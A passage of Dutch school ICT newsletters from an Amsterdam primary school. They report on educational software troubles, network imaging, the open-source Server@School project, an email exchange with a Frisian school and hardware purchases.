Via het internet hebben we deze week het programma Maatwerk besteld. Dat is een remediërend rekensoftwareprogramma. Het is van de firma Malmberg........we zijn benieuwd! We staan al met opgerolde mouwen klaar voor de installatie. In week 4 wordt het geleverd.
We ontvingen het bericht dat onze begeleidster van het ABC een andere baan
heeft per 1 februari. Monique heeft ons jarenlang ondersteund en geïnspireerd
om onze ICT leerlijn tot stand te brengen. Het is heel jammer dat er een einde
komt aan onze goede samenwerking. Monique bedankt!
In de laatste week van januari zal de overdracht plaatsvinden met een andere
medewerker van het ABC.
We hebben in de school zoveel mogelijk dezelfde computers, omdat we dan met images kunnen werken, als de computers aangepast moeten worden. We hebben een aantal computers waarop het programma Veilig Leren Lezen geïnstalleerd is, een aantal computers voor de administratie en verder alleen maar identieke DELL computers (pentium3). Na een flinke opruimactie hebben we zicht gekregen op wat we niet meer nodig hebben. Binnenkort publiceren we een lijstje van wat er verkocht gaat worden. De opbrengst gaat in de ICT kas.
Deze mededeling hebben we in nl.onderwijs.open-source gezet en, enigszins
aangepast in nl.onderwijs.nieuwe-media.
QRes is een windows tooltje dat automatisch de resolutie kan veranderen bij de
start van een programma en, bij afsluiten van dat programma, de resolutie weer
terugzet.
Een bijzonder handig tooltje dat programma's als 'Veilig Leren Lezen' en
'Clowns' weer goed bruikbaar maakt in de klas.
Het programma was al als freeware gratis beschikbaar. Na overleg met de Rosa
Boekdrukkerschool heeft Berend Engelbrecht van Software Cave http://www.softwarecave.nl/ besloten het
programma OSS te maken onder de BSD licentie. Bedankt Berend!
Eindelijk zijn de 4 scholen naar wens opgeleverd. Dat heeft langer geduurd dan
gedacht. Nadeel: tijdverlies. Voordeel: veel geleerd. Fouten die we bij de
volgende installaties niet meer zullen maken.
Peter en Dirk beleven veel gemak van SABRINE (Semi Automatic Backup and Restore
in a Network Environment). We moesten de images terugzetten van zo'n 40
computers. Arbeidstijd: 0,5 uur.
Aard van de arbeid: computer aanzetten en doorlopen naar de volgende computer.
Dit 40 x.
Het meeste werk is het lopen door de school.
Door al dat gewerk is S@S deze weken een beetje in de verdrukking geraakt.
Maar, de ontwikkeling heeft niet stilgestaan.
De email module is groots verbeterd en ook de formulieren module heeft een lang
gewenst feature toegevoegd gekregen.
groeten en een prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week hebben we een gesprek gehad met een docent en een student van de EFA (Educatieve Faculteit Amsterdam) die ons gaan helpen met het opzetten van een website waarin onze oefeningen voor de ICT leerlijn gratis te downloaden en aan te vullen zullen zijn. De oefeningen zullen worden aangepast en vertaald naar het tekstverwerkingsprogramma “Open Office”. Er wordt nog hulp gezocht van een taal- en een pabo-student.
Dat is de naam van 'het' gratis tekstverwerkingspakket dat hetzelfde doet als
Microsof Office.
De gemeente Haarlem heeft een ICT afdeling en heeft Open Office onderzocht op
bruikbaarheid.
Een citaat uit hun rapport:
“In eerste instantie zal gekozen worden voor het implementeren van Open Office.org naast Microsoft Office. Het is geen enkel probleem naast elkaar op de werkplek ter beschikking te stellen. Dit vergemakkelijkt de overgang voor de gebruikers. [...]
Het importeren van Microsoft producten in Open Office.org is geen enkel probleem, maar het omgekeerde ook niet. Producten van Open Office.org naar Microsoft geeft ook geen problemen.en zeker niet wanneer voor de standaardopslag wordt gekozen bij Open Office.org, t.w als Microsoft 97/2000/XP.
Alle producten kunnen dan zonder meer worden geïmporteerd door Microsoft Office programma's als Word, Excel en Powerpoint.”.
Tot zover het citaat. We overwegen om over te stappen. Het scheelt een hoop geld. En ook: zo worden we steeds onafhankelijker van de Wurgcontracten!
We ontvingen een brief over de “kwaliteitsimpuls onderwijsmediatheken”. Als je of een mediatheekprogramma aanschaft, of je contract voor 3 jaar verlengt, ontvangt de school boeken ter waarde van € 125.- voor maar €50.-. We hebben natuurlijk meteen een formulier ingestuurd. Zie voor meer informatie: www.schoolmediatheek.nl
We hebben nog twee programma’s met beveiligingssleutels (WIG en Veilig Leren
Lezen) Die sleutels zijn onhandig bij het overzetten van images. Dus zitten we
te denken om ze te vervangen. Maar past de nieuwe software van Veilig Leren
Lezen wel bij de 1e maan-roos-vis versie die wij nog steeds
gebruiken en die nog lang niet afgeschreven is? Het oude computerprogramma kan
eigenlijk ook erg weinig. Het past helemaal niet meer bij onze criteria die we
nu aan software stellen. Het programma wordt door ons gebruikt sinds maart
1996!
De oude versie van WIG gebruiken we alleen maar omdat we het nog hebben en er
bij onze huidige rekenmethode (Wis en Reken) alleen nog maar software is voor
groep 4.
We hebben gebruik gemaakt voor het KPN aanbod voor gratis adsl. Voor eind
januari moeten we de rekening opsturen voor de aansluiting van het modem op
onze telefooncentrale. Tot 31 januari vergoedt de KPN de kosten. Opschieten,
dus!
Wat we gaan doen met die aansluiting, dat zien we later wel. Voorlopig doet
onze kabelverbinding voor 78 euro in de maand (internet easy) het nog prima.
De tweede verdieping heeft nieuwe images op alle computers. We hoefden ze
alleen maar langs te lopen en te starten. Dankzij Server@School en Sabrine!
Als nu iemand vogeltjes op het bureaublad zet, staat er in no-time een nieuw
schoon scherm. Kan zelfs automatisch; elke dag.
groeten en een prettig weekend!
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week hebben we afscheid genomen van Monique, die ons jaren heeft begeleid met ons ICT beleid. Ze heeft vele cursussen gegeven en evaluatiedagen verzorgd. Nu gaat ze naar het zuiden van het land, waar ze o.a. voor 3VO gaat werken. Nogmaals bedankt, Monique!
Het gaat door: we gaan een emailproject doen met een basisschool in Friesland. www.deopslach.nl. We zullen dus een knuffeldier met TPG-post op reis sturen.
Van de week is groep 5 begonnen aan het maken van werkstukjes. Verder zijn ze in die groep hard bezig om de tafels te oefenen op de computer. Ook allerlei puzzels van www.rekenweb.nl vallen bij de leerlingen erg in de smaak.
Een van onze administratieve computers heeft een beugeltje onder het ladenblok gemonteerd gekregen. Onze huissmid Domien heeft weer wat leuks gemaakt (na de computertafels) zie de foto: http://www.rosaboekdrukker.net/index.php?page=615&navpath=,1320,1402&contents =1403,1404,1405,4014§ion=15&ID=4014&gallerypage=1
Volgens de leverancier hadden we deze week het programma Maatwerk moeten ontvangen. Dat is niet gebeurd. Deze keer bestelden we het programma niet rechtstreeks bij Malmberg, maar bij Koks-Gesto. We hopen, dat we nu geen nieuw Malmberg-probleem hebben aangeboord!!!!
De tijd gaat snel en de nieuwe release datum is alweer aan de horizon
zichtbaar. Deze week werkte Fred hard aan een vernieuwde email module. Het is
een prachtige module geworden, helemaal passend in een school met afdelingen die
ieder apart per mail benaderd kunnen worden.
We zijn met de eerste beta testen begonnen voor versie 2.3. Meld je in het
Forum http://rosaboekdrukker.net/phpBB2
als je mee wilt testen.
Afgelopen vrijdag vierden we een heuglijk feit. De vier directeuren van de vier
scholen 'van het eerste uur', de initiatiefnemers van Server@School, kwamen in
vergadering bijeen en besloten dat de software vanaf nu beschikbaar is.
Tevens richten de vier scholen een gebruikersgroep op die zorgt voor de
continuïteit en doorontwikkeling van Server@School. Scholen die Server@School
willen gebruiken kunnen de software bekomen via de gebruikersgroep en worden
daar ook meteen lid van. Zo hebben ze een stem in de doorontwikkeling van hun
eigen software.
Direct daarop togen Peter en Dirk aan het werk.
Maandagavond zaten we op een school in het Gooi om SoS te 'verkopen' en
woensdag kwam een school op de Rosa Boekdrukker kijken naar hoe SoS draait en
wat het allemaal in zich heeft. De demonstratie maakte diepe indruk.
Als derde deze week besloot een ICT'er van een school in Noord Nederland dat
hij SoS wil: Aanmerkelijk voordeliger dan de andere aanbieders. En, vlak voor
sluitingstijd van de BIC meldde zich een vierde school!
Hoort en zegt het voort! Server@School is beschikbaar voor basisscholen. Zie
verder http://serveropschool.nl
groeten en een goed weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Om binnen de school storingen/klachten/verzoeken snel te kunnen doorgeven, is
er een storingsformulier ontwikkeld op de site van de Rosa Boekdrukker. Dit ter
vervanging van het computerschrift.
Het storingsformulier werkt als volgt:
In het logo van de school staan zes rechthoekjes. De linker, de roze, is voor
het storingsformulier. Klik erop en vul het in. Dan wordt er een email
verstuurd naar de beheerders.
We zijn benieuwd!
ps. Mede-lezers: maak er aub geen misbruik van. Dit formulier is gemaakt met de
“formsbuilder” die in S@S staat.
We hadden weer een probleem. Nu was het formulier waarop je moet aangeven hoeveel leerlingen de school heeft niet door Malmberg ontvangen. Dus moest er een kopie worden opgestuurd. Per abuis hadden we 100 leerlingen te weinig opgegeven. Daarover werden we onmiddellijk gebeld. Zo schiet het niet erg op om het programma aan te schaffen. Slecht voorteken?
Volgende week hebben we een gesprek met onze nieuwe hoofd-begeleider van de
onderwijs begeleidingsdienst. Monique wordt opgevolgd door Jan.
Het email project met onze groep 4 en groep 4 van De Opslach in Franeker begint
duidelijke vorm aan te nemen. 4 maart zal de knuffel uit Friesland naar
Amsterdam worden gebracht, onze knuffel gaat dan helemaal naar het noorden.
Klein feestje ten burele van SoS. Deze week hadden Peter en Dirk een bespreking
met de St. KBA. Met als resultaat dat we op 'De Ark' in Amstelveen SoS gaan
installeren. Mogelijk volgen daarna nog een paar andere scholen van de St. KBA.
We zijn zeer content met deze club waarin een team van ICT'ers zit dat van
wanten weet.
We zijn van plan een demo van SoS te organiseren op woensdagmiddag 23 februari
a.s. op de OBSRB of de Joop Westerweelschool, beiden in Amsterdam West.
Belangstelling? Meld je aan en zeg met hoeveel personen je komt.
Fred is aan de chat begonnen. Dirk test. We hebben nog nooit zoveel gechat en
zo weinig gezegd:
>Fred <enters the room>
>Dirk <enters the room>
>Fred: asdfasdfasdf
>Fred: asdfasdfasdf
>Dirk: er staat twee keer asdfasdf
>Fred: Hm, bij mij staat twee keer wat jij zegt
>Dirk: Nu staat er maar een keer wat jij zegt.
>Fred: bij mij nu ook.
Jullie begrijpen dat na deze inspirerende conversatie voor twee heren Fred weer
opgeruimd aan het werk gaat tot de volgende chat sessie.
Maar, hij wordt wel mooi!
Groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
We hebben afspraken gemaakt hoe de begeleiding van onze ICT leerlijn de rest van het schooljaar moet gaan.
We hebben slechts één melding binnengekregen. Drempelvrees, of gaat alles goed?
Vanmiddag kwam het programma binnen. Na onze krokusvakantie zullen we de dozen openen.
We willen ons zelf ontwikkeld serversysteem voor basisscholen Server@School aan
belangstellenden demonstreren. Veel info vind je op http://serveropschool.nl ,
maar 'zien is geloven'.
Op Woensdagmiddag 23 februari om 14.00 uur geven we de demo in de Openbare
Basisschool Joop Westerweel.
Adres: Balboaplein 44
Postcode: 1057 VS Amsterdam
Telefoon: 020-6125539
Fax: 020-6163296
Wil je mailen naar info@serveropschool.nl als je komt.
Tot Woensdag!
Dit was korte BIC.
Prettige vakantie en/of een goed weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
### bijdrage: Dirk Schouten : schoutdi@knoware.nl ###
Hi Karin,
Even kijken of het wekrt.
hoeveel is 43254636523456573476 gedeeld door 132453214,2134
groet
dirk
### bijdrage: Dirk Schouten :schoutdi@knoware.nl ###
### bijdrage: Karin Abma : k.abma@quicknet.nl ###
Deze week is de agenda van Het Klokhuis weer bijgewerkt op de site. Je kunt zien welke onderwerpen aan de orde komen tot 4 november.
http://www.rosaboekdrukker.net/index.php?section=4
### bijdrage: Karin Abma : k.abma@quicknet.nl ###
Bovenstaande tekst geeft een voorbeeld van twee ingezonden mededelingen.
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Met Suzanne, een taalspecialist van onze begeleidingsdienst hadden we een
bijeenkomst over het goed inzetten van het programma Letterpret in de
kleuterbouw.
Het programma biedt heel veel mogelijkheden op het gebied van de
leesvoorwaarden. We hebben afgesproken om op 29 maart met de leerkrachten van
de onderbouw het programma in het kader van het taalaanbod eens uitgebreid door
te lichten. Want de mogelijkheden van het programma moeten we nog beter
doorgronden.
Bij de voorbereiding van het gesprek zagen we op de site van Malmberg dit
programma helemaal niet meer vermeld staan. Wel: “De Leessleutel-Letterpret”.
Na navraag bleek dat dat een voorloper is van het leesprogramma voor groep 3:
“De Leessleutel”. ”Letterpret” is te
gebruiken onafhankelijk van een leesmethode. Maar het is wel vreemd, dat er
helemaal niet over gerept wordt. Zie ook: http://www.malmberg.nl/bao/computer/index.shtml
Voordat de bijeenkomst zal plaatsvinden gaan we nog even kijken of het
technisch allemaal werkt: een groepje leerlingen tegelijk eraan laten werken.
Op dinsdag 5 april gaan we de leerlijn nog eens doornemen: wat lukt er wel, wat
lukt er niet.
In groep 4 starten we volgende week met het berenproject. Groep 4a van
basisschool De Opslach in Franeker is er klaar voor.
In groep 8 gaan ze naar de tentoonstelling over Marokko in de Nieuwe Kerk in Amsterdam. Er is een website met weblessen ter voorbereiding van het bezoek. Wel even een lastige website: we moesten heel snel een shockwave programma op de computers installeren, anders kunnen de leerlingen niet aan de slag. Mensen: bekijk de website. Heel erg de moeite waard. www.nieuwekerk.nl Kijk bij school&kind en dan bij basisschool.
Er is weer een nieuwe aardrijkskunde nieuwsbrief uit: http://rosaboekdrukker.net/index.php?section=10&page=718
Er staan allerlei leuke links in de nieuwsbrief. Klik eens op de link naar de
BEELDBANK!!!!! (aanmelden nieuwsbrief beeldbank: http://schooltv.dmdelivery.omroep.nl/plugin.php?pName=subscribe_form&midrid=eNTpLtjUyAgAC3QEF
)
Vandaag zijn er drie programma’s van Maatwerk op onze server en clients geïnstalleerd. Maandag worden de clients ge-update met Sabrine.
We hadden een vergadering over de nieuwe release. Vanaf heden is er een
'feature freeze', Versie 2.3 beta is beschikbaar voor testers via het Forum. De
vertalers krijgen van het weekend bericht. En zo draait de machine.
31 mei a.s. komt versie 2.3 uit. Er zit een chatmodule in; erg mooi. Daarnaast
vele kleine en grote verbeteringen. Paginabeheer is nu ook per sectie
instelbaar. Een enorme vondst.
Verder besloten we dat we standaarden gaan gebruiken voor de
gebruiksaanwijzingen en voor de code. Het omwerken zal tijd en inspanning
kosten. Gelukkig is er geld voor.
Peter en Dirk gaven een demonstratie aan de Stichting ICT op School en Linux Magazine. Ook aanwezig was een ICT'er uit Middelburg. Ook het hoofd Onderwijs van de Baarsjes en de communicatie adviseur waren aanwezig. We kregen de indruk dat de heren goed begrepen wat het concept inhoudt en dat e.e.a. qua kosten een koopje is.
De nieuwe switch is binnen. A.s. Woensdagmiddag zal hij geïnstalleerd worden. De switch die dan vrijkomt zal schoongemaakt en gereviseerd worden (nieuwe ventilatoren).. Inzetbaar als bakcup of reserve.
groeten en prettig weekeinde!
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
In verband met scholing van de onderbouwleerkrachten is deze week door 6
leerlingen van groep 3 getest of het programma goed bleef werken in het netwerk
als er 6 kinderen tegelijk met het programma bezig waren. Dirk deed ook nog
even mee (zie foto) http://www.rosaboekdrukker.net/index.php?page=615&navpath=,472,4121&contents=4122,4123,4124§ion=15&ID=4124&gallerypage=1
Het ging prima, maar alleen zijn er nu problemen in het leerkrachtendeel. Er
kunnen bestanden niet gevonden worden. We zijn dus nog niet klaar met Malmberg.
Kennisnet inDruk is een gratis kwartaalblad voor docenten in het primair
onderwijs, voortgezet onderwijs en het beroepsonderwijs en de
volwasseneneducatie. In het blad staat de praktische gebruikswaarde van
Kennisnet centraal.
Het wordt aan scholen toegestuurd per post en er staan vaak leuke tips in. Men
kan het ook privé ontvangen: http://corporate.kennisnet.nl/publicaties/indruk/aanvraagformulier
Eindelijk zijn ze in groep 3 nu ook aan de gang met de voorgeschreven opdrachten. Er zijn weer wat kinderen die hun talenten laten zien met de computer. De kinderen snappen heel snel wat het betekent als ze hun werk moeten opslaan. Het is te merken, dat jonge kinderen al veel “muisvaardiger” zijn dan een paar jaar geleden.
In groep 4 zijn de beren uitgewisseld met de school in Friesland. De beer van
de Rosa Boekdrukker heet Snuffeltje en de logeerbeer heet Joey-Fleur.
We hebben nu nog erge ruzie met de squirrelmail die wij hier gebruiken. Heel
erge ruzie!!
De bezoekers (zie reden onder) waren zeer getroffen door de prettige sfeer in
de school. Vanuit het hoge noorden heb je zo je denkbeelden bij een zwarte
school in Amsterdam-West en men trof iets totaal anders aan. Rustig, ordelijk,
leuke manier van omgaan met elkaar, goede sturing.
Kortom, ook in dat opzicht een positieve ervaring.
Donderdag kwam een vijfkops afvaardiging van deze school uit Franeker kijken naar SAS. Twee directeuren en drie ICT-ers zagen hoe makkelijk het is om een computer weer als nieuw te krijgen (image terugzetten), beheer van leerlingen, toewijzen programma's etc etc.. Ze hadden gesprekken met Karin en Carol Moes van de Joop Westerweelschool en kregen door de uitgebreide voorlichting een goed beeld van SAS. Ze waren zeer enthousiast.
De demonstratie van SAS levert een artikel op in Linux Magazine, het
Neerlandstalige Linux blad. We kregen van Sander, de hoofdredacteur, de tekst
toegestuurd. WoW! Prima artikel en zeer complimenteus over SAS. Een quote tot
slot:
"ServerAtSchool is een project met een toekomst. Op dit moment is het
gereed voor gebruik binnen scholen, en is het helemaal toegerust voor die taak.
Dat geeft het een flinke voorsprong op andere aanbieders en op zelfgebouwde
netwerken. Makkelijk in het gebruik, goed gedocumenteerd, continuïteit
gewaarborgd. ServerAtSchool is een project dat door schoolbesturen terdege in
de gaten zal moeten worden gehouden."
Het artikel verschijnt in april.
groeten en een prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
De problemen met het leerkrachtengedeelte zijn waarschijnlijk intern. Dus we mopperen deze week maar niet op Malmberg. Maandag wordt het uitgezocht.
Er wordt flink heen en weer gemaild tussen Friesland en Amsterdam. Foto’s zijn
te zien op de website: www.rosaboekdrukker.net.
Klik op de tekening van de beer.
Het werkt aanstekelijk in de school, want in groep 3 willen ze nu ook een beer
mee naar huis.
Deze week leerde Karin van een leerling van 7 jaar de knoppencombinatie CTLR-Z
in Paint. Nooit te oud om te leren. En kijk eens wat een fantastisch werk er
gemaakt word!
http://www.rosaboekdrukker.net/index.php?page=615&navpath=,3342,3676&contents=
4157,4158,4159,4160,4161,4162,4164,4165,4167,4168,4171,4172,4173,4174§ion=15&ID=
4172&gallerypage=1
Wat zijn die kinderen al vaardig. Sommigen hebben meteen door wat je moet doen
bij het opslaan van het werk. Ook nieuwe kleuren maken in Paint had een stel
kinderen zo door.
ICTopschool stuurde deze week hele leesbare en nuttige folders met informatie over veilig internetten en sp@m. Meer informatie is te vinden op de site: http://www.ictopschool.net/snel/veilig. We hebben per email de folders besteld voor alle leerkrachten.
Gisterenavond had het kernteam van S@S zijn bedrijfsuitje. We combineerden het
nuttige met het aangename.
Nuttig: de koppen bij elkaar steken over de toekomst van S@S.
Aangenaam: we aten Indiaas. Verder niet gekart (mag Dirk niet aan meedoen) of
steengegrild (teveel rook voor Fred).
Conclusie: We zitten een volwassen wordend project. De snelle ontwikkeling is
voorbij, we mikken op duurzaamheid, stabiliteit en de lange termijn.
Los hiervan: Deze week schrokken we omdat de mensen die de tekstverwerker van
S@S maken en ondersteunen ruzie met elkaar kregen. De editor zou niet meer
ondersteund worden. Ziehier de kracht van Open Source. Binnen twee dagen had
één van de ondersteuners zich tot nieuwe onderhouder van het project opgeworpen
en hij verzekerde de wereld dat het gewoon onderhouden zou worden. De nieuwe
editor heeft een Word-code strip functie die het mogelijk maakt dat je Word
docs zo in S@S zet.
Uit België kregen we bericht van Kurt, sysadmin van 'De Meidoorn' in Eeklo:
Surf naar www.digitaleschool.be
<http://www.digitaleschool.be/>
Klik op eKopie en ICT
Daar staat een install en gebruikershandleiding ter beschikking.
Kurt heeft aangeboden om als verzamelpunt te dienen voor Nederlandstalige
gebruikershandleidingen (bijvoorbeeld verkorte aanwijzigen voor leerlingen
ed.d). Mocht je leerling- of leerkrachtmateriaal hebben, stuur het hem.
Zo zouden wij onderlaatst ADSL van PTT krijgen. Er kwam een monteur. Hij had
het al voor -tig scholen aangesloten. Bij ons werkte het niet. Bellen met de
PTT. Testen. Er onbrak een kastje in de PTT-centrale zei de heer. Na twee dagen
hadden we ADSL; het onderwijsaanbod. Nu gaan we leuke dingen verzinnen, want we
houden onze kabelaansluiting bij A2000. Wie heeft een goed idee voor ons tweede
IP adres? Wie weet simpele oplossingen voor load balancing? Een tweede server?
Een honeypot project?
Op zoek naar een wereldidee... het moet wel voor basisscholen zijn.
De nieuwe Netgear switches zijn in gebruik genomen. Alle patchkabels
losgemaakt, oude switch eruit en de nieuwe erin. Vervolgens alle patchkabels
opnieuw erin volgens een systeem: We hebben twee aansluitingen per klas. We
hebben twee switches.
De ene aansluiting in switch 1, de andere in switch 2.
Gaat er een switch stuk, dan heb je in een klas nog steeds één werkende client.
De rijtjes van 6 computers op de 1e en 2e verdieping hebben we om en om op de
switches gezet. Zo maak je het de klassen iets minder switchafhankelijk. In de
kantoren hebben we de computers ook over de switches verdeeld.
Vanaf heden heet Server@School 'ServerAtSchool'. Peter is druk met het schrijven van de installatiehandleiding. We hebben het eerste stukje gezien en zijn zeer onder de indruk.
groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Deze week ontvingen we een email van de redactie van SAMSAM, dat het werkstuk
van groep 8 eindelijk op het internet stond.
Wel bekijken met een Internet Explorer browser, want met Firefox lukt het niet:
http://samsam.kennisnet.nl/brievenrubriek/rubriek.asp?id=1064697404797
Mocht het niet lukken: www.samsam.net Kijk bij fantasieland.
In de hal bij ons op school hebben we een tafel ingericht met weg te werken apparatuur. We zijn al een paar monitoren van mindere kwaliteit (fletse beeldkwaliteit) kwijt aan ouders van leerlingen.
Er zijn problemen met de database. Daar worden de gegevens van de leerlingen opgeslagen. Volgens onze deskundige is die database CORRUPT. Als er verkeerd wordt afgesloten, of een computer loopt vast, dan kan niet meer bij de resultaten van de leerlingen gekeken worden.
Binnenkort (=volgende week) beslissen we of we nog langer met dit programma zullen kunnen werken. Een scholing gaat weer verloren. Die is gepland op 29 maart en zou de onderbouw leerkrachten ondersteunen in het gebruik van het programma tbv de taallijn.
De folders waarover vorige week in deze nieuwsbrief werd gesproken (over sp@m en veilig internetten) zijn binnengekomen. Ze zullen worden verspreid in onze school. De leerkrachten wordt dringend verzocht ze goed te lezen en de leerlingen erover te vertellen.
Ziehier het artikel dat St. ICTopschool schreef:
http://www.ictopschool.net/infrastructuur/nieuws/Nieuwsbericht.2005-03-15.4705
Zeer bedankt Raoul voor je enthousiaste stuk.
Deze week kregen we de Violenschool uit Hilversum op bezoek. Peter en Dirk gaven een demo en men was zeer enthousiast, ook over de prijs. Binnenkort gaan we op de Violenschool kijken. Het lijkt erop dat de bal gaat rollen...
De release datum nadert... Fred probeert de nieuwe editor goed werkend
te krijgen, zo dat die nog meekan met V2.3. Hoop werk omdat er verschillen zijn
tussen Internet Explorer en Firefox.
Leerlingen van de Christschool in Florida: http://www.thechristschool.org/
gaan het manual corrigeren op Engels. We zijn ontzettend blij met dit
initiatief. Niet alleen omdat het manual er beter van wordt, maar vooral omdat
het zo'n zinvol project is voor leerlingen. Zo doen ze echt werk.
Wederom de kracht van OSS.
De database (Paradox; reeds ter ziele) is corrupt. Uitgever en helpdesk hebben geen tools om de database te repareren. Hier wreekt zich weer dat het geen echte netwerksoftware is. De database moet een crashende client kunnen overleven. Het lijkt erop, dat dat een structureel probleem gaat worden. Wat een brakke software! In educatieve software zou je een text database verwachten die met een tekstverwerker is te repareren.
Te koop:
Promise FastTrak TX 2000 Raid Controller Card (Ultra ATA/133 met 2 Super Swap
racks.
Als experiment een paar keer gebruikt.
Verder nieuw.
Groet en prettig weekend,
Karin,
Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Korte week, weinig nieuws. Weinig tijd, het lekkere weer lonkt.
Deze week is er een aantal afspraken gemaakt om de stand van zaken m.b.t. de ICT leerlijn onder de loupe te nemen. De ondersteuning van de onderwijsbegeleidingsdienst is overgenomen door vier verschillende mensen en dat maakt de coördinatie wat moeilijker.
Het emailen gaat redelijk met Franeker. Alleen hebben ze daar af en toe een haperende computer.
Na de paasdagen volgt weer een smakelijk verhaal.
TV module:
We hebben een werkende tv module. Hij is nog experimenteel, en komt niet in
v2.3, maar het resultaat is zeer opwindend. De kick: Je kunt in S@S beheer het
beeld op de monitor laten wisselen. Kortom, je kunt op afstand bepalen welk
beeld de televisie (bij ons in de hal) vertoont. Bijvoorbeeld:
Van 8.00 tot 8.20 de mededelingen voor leerkrachten.
Van 8.20 tot 8.35 de mededelingen voor ouders
Vanaf 11.30 tot 11.45 de foto's van het kinderuitje,
etc. etc.
We werken full speed aan de installation guide.
Prettig weekend, zalich pasen.
Groet, Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
We hadden een bijeenkomst om meer te weten te komen hoe Letterpret aansluit bij
ons taalaanbod aan de kleuters. Helaas ontdekten we bij de voorbereiding van
deze bijeenkomst, dat er toch nog technische mankementen zijn aan het programma.
Namelijk: bij het verkeerd afsluiten, stroomstoringen, vastlopen van een
computer of onjuist gebruik van een
computer kan de verbinding met de database kapot gaan. (In de database worden
de resultaten van de leerlingen opgeslagen.) Bij 3 van de 6 kleutergroepen was
dat het geval.
Tijdens de bijeenkomst hebben we ons beraden. Wat gaan we doen: na ruim twee
jaar modderen met letterpret: een ander programma? Het blijft moeilijk een zo
leuk programma weg te gooien. Er is besloten om het nog een maand extra goed te
bekijken – met in het achterhoofd: waar moet een eventueel volgend programma
aan voldoen?-
De drie groepen die een CORRUPTE DATABASE hebben zullen opnieuw worden
ingevoerd.
NB. Tijdens de bovengenoemde bijeenkomst kwam aan de orde, dat we eigenlijk
door alle technische problemen nog nooit toegekomen zijn aan het juist
gebruiken van het programma. We worden nu begeleid door een taalspecialist, die
ons wees op de mogelijkheden van het programma. Ook zagen we wat er gebeurt als
je het programma niet goed instelt: dan worden de oefeningen te moeilijk voor
sommige leerlingen
Last but not least: vorige week ontvingen we de zoveelste betalingsherinnering
voor het gebruik van Letterpret. Het lijkt wel alsof al onze post niet aankomt
bij de afdeling debiteuren. Net als bij de helpdesk lijkt men wel Oost-Indisch
doof, of men spreekt/leest er alleen Pools ofzoiets. (in Polen wordt namelijk
educatieve software geherprogrammeerd)
In groep 6 t/m 8 wordt voor de ICT leerlijn gebruik gemaakt van het programma Digiwijzer. Daarmee leren de leerlingen gericht zoeken op het internet. Er is een nieuwe module klaar. Die wordt volgende week geïnstalleerd. Er zijn afspraken gemaakt met de leerkrachten uit de bovenbouw: hoe staat het ervoor? Hoever zijn jullie met de leerlijn. Dus in plaats van een groepsbijeenkomst zal de scholing nu op maat per leerkracht plaatsvinden.
Feest ten burele van ServerAtSchool. De tweede klant is binnen. Het bestuur van
De Opslach (de school waarmee we ook het berenproject doen), komt de gelederen
van STRICT versterken.
Deze week voerde de afdeling 'verkoop' gesprekken met drie scholen. Allen zeer
geïnteresseerd.
Een grote sprong voorwaarts! In 2.3 komt en nieuw educatief hoogstandje:
Samenwerken aan pagina's.
Je kunt een 'project' aanmaken waarmee een aantal leerlingen gezamenlijk
pagina's kunnen beheren. We zitten nog wat te puzzelen op het probleem hoe te
voorkomen dat twee leerlingen tegelijkertijd aan dezelfde pagina werken en dan
gaan opslaan. Vindt Fred vast wat moois op.
Nu wordt teamwork mogelijk. En dat vroeg de maatschappij toch?
Groeten en prettig weekend,
Karin en Dirk
Reacties op deze nieuwsbrief graag richten aan de afdeling ICT
Voorbereidingen evaluatiedag
Op 19 april hebben we op school een evaluatiedag. Dan wordt o.a. ons ICT beleid
van dit schooljaar bekeken. Wat waren we van plan? Hoe gaat het? Wat kan er
beter? En hoe zullen we het volgend jaar aanpakken.
Om deze dag voor te bereiden ging Karin daarvoor deze keer niet naar de
vertrouwde plek van de onderwijsbegeleidingsdienst (in het gebouw van het ABC),
maar naar een gebouw waar allerlei facilitaire onderwijsinstellingen zitten.
(o.a. het AOB, OOG, en CIAO.)
In dat gebouw gaan de zonweringen vanzelf omlaag.
Nog één maal gaan we alles proberen.
Daarom moeten alle leerlinggegevens worden ingevoerd op de computer van waaruit
de images worden ge-upload. ( Een soort moeder computer) Dat had Karin niet goed
begrepen. Dus moet alles weer over.
Dit is echt de laatste keer dat er zoveel tijd in dat programma wordt gestoken.
Er is een site van de schooltv, genaamd BEELDBANK, waarop je allerlei filmpjes
kunt bekijken. Ze geven ook een nieuwsbrief uit.
Maar bij ons op school werken die filmpjes niet. We hebben Windows Mediaplayer
7.01 geïnstalleerd.
Weet iemand hoe het wel lekker werkt?
In het COS magazine van maart staat een link naar www.kinderboekenplein.nl. Daarin is van alles te vinden over kinderboeken en schrijvers. Leuk is ook dat er allerlei top-tiens zijn (top-tien LEUK, top-tien SAAI etc.). Kinderen schrijven er zelf recensies.
Er is een tv gekocht. Die komt in de hal van de school. Een installatiebureau
zal deze 70 cm tv ophangen. Er komt een verbinding naar een computer die op het
netwerk is aangesloten. Op die tv zullen allerlei mededelingen voor ouders
worden weergegeven. Dus iedereen die de school binnenkomt ziet op dat scherm
wat er aan de hand is.
In week 14 zal het geheel werken. S@S bestuurd!!!!
Voor degenen die dit kunstje ook willen, hier wat gegevens en
handigheidjes om te onthouden als je de tv koopt:
- TV, 70 cm (de grootste in 'ouderwetse' tv's) Dus geen dure computerschermtv
o.i.d.
- Speakers aan de voorkant (dan straalt het geluid de hal in, i.p.v.
naar de muur)
- ingangen: 1 x voor de kabel (de hf ingang), 3x video (composiet) namelijk 1 x
voor een dvd speler, 1 x voor de computer en een voor een ouderwetse VHS
player.
- Als de afstandbediening stuk gaat o.i.d. moet de tv nog te bedienen zijn met de
hand. Een nieuwe afstandbediening kost ongeveer 20 euro en is een
standaardding.
Kosten van de tv ongeveer 400 euri
Omdat we de tv willen hebben hangen bovenin de hal, en een 70 cm tv nogal zwaar
